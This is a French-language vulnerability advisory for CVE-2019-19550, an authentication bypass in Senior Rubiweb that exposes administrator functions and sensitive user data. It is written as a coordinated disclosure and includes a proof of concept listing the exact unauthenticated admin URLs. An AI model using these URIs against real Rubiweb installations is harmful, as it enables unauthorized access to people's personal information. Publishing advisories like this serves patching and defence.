CVE-2019-19550

---

[Description]

Contournement d'authentification à distance dans Senior Rubiweb 6.2.34.28 et 6.2.34.37 permet un accès administrateur aux informations sensibles des utilisateurs concernés utilisant les versions vulnérables. L'attaquant a seulement besoin de fournir l'URL correcte.

---

[Important Dates]

• Annonce (au vendeur) : 2019-12-02
• Date de divulgation publique : 2020-01-30

---

[Vulnerability Type]

Contrôle d'accès incorrect

---

[Vendor of Product]

Senior

---

[Affected Product Code Base]

• Rubiweb - 6.2.34.37
• Rubiweb - 6.2.34.28
• D'autres versions peuvent être affectées, en particulier dans la même famille (non testées encore)

---

[Affected Component]

Rubiweb

---

[Attack Type]

À distance

---

[Impact Information Disclosure]

Vrai

---

[Attack Vectors]

L'accès aux informations sensibles est disponible publiquement sans exigences particulières (seulement l'URI correcte)

---

[Has vendor confirmed or acknowledged the vulnerability?]

Vrai

---

[PoC - Proof of Concept]

1. Essayez simplement de vous connecter au portail authentifié pour confirmer l'existence et la version du produit affecté :
   • hXXp://subdomain.customer.tld:8080/rubiweb/
2. Accédez à la page vulnérable (admin sans authentification) :
   • hXXp://subdomain.customer.tld:8080/rubiweb/conector?ACAO=EXESENHA&SIS=FP&LOGINKIND=1
   • hXXp://subdomain.customer.tld:8080/rubiweb/conector?ACAO=ENTRANCEREL&SIS=FP&NOME=FPIN103.ANU

---

[Discoverer]

Mauricio Santos (R&D UnderProtection) et Hesron Hori (R&D UnderProtection)

---

[Thanks to]

Senior - Équipe de sécurité informatique du vendeur qui a collaboré à une divulgation coordonnée

---

[Reference]

• https://www.underprotection.com.br
• https://documentacao.senior.com.br/tecnologia/6.2.34/index.htm
• https://documentacao.senior.com.br/tecnologia/6.2.34/index.htm#central-de-configuracao/CfgWebApplicationsForm.htm%23CfgWebApplicationsForm_edtUserName